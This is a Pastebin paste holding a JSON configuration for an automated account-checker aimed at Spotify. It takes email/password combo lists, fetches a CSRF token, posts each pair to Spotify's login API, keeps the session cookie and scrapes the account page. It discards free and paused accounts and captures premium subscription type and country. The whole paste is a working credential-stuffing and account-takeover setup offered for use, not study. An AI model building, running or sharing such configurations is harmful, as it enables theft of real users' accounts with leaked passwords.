Advertisement
Guest User

spot

a guest
Aug 27th, 2017
3,826
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.06 KB | None | 0 0
  1. {
  2. "General": {
  3. "name": "Spotify",
  4. "proxyType": "Proxyless",
  5. "comboType": "Email/Username:Password",
  6. "threads": 5
  7. },
  8. "Requests": [
  9. {
  10. "type": "sendToNextRequest",
  11. "actionUrl": "https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F",
  12. "method": "GET",
  13. "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
  14. "contentType": "",
  15. "accept": "",
  16. "referer": "",
  17. "successKeys": [
  18. "Spotify</title>"
  19. ],
  20. "returnObjects": [
  21. {
  22. "name": "csrf_token",
  23. "type": "Cookie",
  24. "cookie": "csrf_token",
  25. "usedFor": "postData"
  26. },
  27. {
  28. "name": "csrf_token",
  29. "type": "Cookie",
  30. "cookie": "csrf_token",
  31. "usedFor": "cookies"
  32. }
  33. ]
  34. },
  35. {
  36. "type": "sendToNextRequest",
  37. "actionUrl": "https://accounts.spotify.com/api/login",
  38. "method": "POST",
  39. "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
  40. "contentType": "application/x-www-form-urlencoded",
  41. "accept": "application/json, text/plain, */*",
  42. "referer": "",
  43. "postData": "remember=true&username=<USER>&password=<PASS>&csrf_token=+csrf_token+",
  44. "cookies": [
  45. {
  46. "name": "csrf_token",
  47. "value": "+csrf_token+"
  48. },
  49. {
  50. "name": "__bon",
  51. "value": "MHwwfC0xNDAxNTMwNDkzfC01ODg2NDI4MDcwNnwxfDF8MXwx"
  52. }
  53. ],
  54. "successKeys": [
  55. "displayName"
  56. ],
  57. "failureKeys": [
  58. "errorInvalidCredentials",
  59. "Unexpected status: 400"
  60. ],
  61. "returnObjects": [
  62. {
  63. "name": "sp_dc",
  64. "type": "Cookie",
  65. "cookie": "sp_dc",
  66. "usedFor": "cookies"
  67. }
  68. ]
  69. },
  70. {
  71. "type": "CaptureProcessing",
  72. "actionUrl": "https://www.spotify.com/us/account/overview/",
  73. "method": "POST",
  74. "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
  75. "contentType": "",
  76. "accept": "",
  77. "referer": "",
  78. "postData": "remember=true&username=<USER>&password=<PASS>&csrf_token=+csrf_token+",
  79. "cookies": [
  80. {
  81. "name": "sp_dc",
  82. "value": "+sp_dc+"
  83. }
  84. ],
  85. "successKeys": [
  86. "<h1>Account overview</h1>"
  87. ],
  88. "failureKeys": [
  89. "Spotify Free",
  90. "Premium Paused"
  91. ],
  92. "captureParse": {
  93. "patterns": [
  94. {
  95. "pattern": '<div class="well card subscription .*>(.*)<\/h3>',
  96. "returnString": "+1+, "
  97. },
  98. {
  99. "pattern": '<p class="form-control-static" id="card-profile-country">([^<]*)',
  100. "returnString": "(+1+)"
  101. }
  102. ]
  103. }
  104. }
  105. ]
  106. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement